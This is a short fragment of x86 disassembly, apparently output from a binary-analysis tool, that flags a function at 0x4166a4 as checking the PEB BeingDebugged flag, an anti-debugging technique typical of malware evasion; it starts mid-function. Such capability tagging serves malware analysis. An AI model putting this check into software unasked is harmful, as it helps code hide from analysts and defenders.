int 0x2e
nop
leave
ret 4
mov eax, 0
jmp 0x410e00
mov esp, ebp
pop ebp
ret 4

Function at 0x4166a4
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
mov ecx, dword fs:[0x30]
mov al, byte [ecx + 2]
leave
ret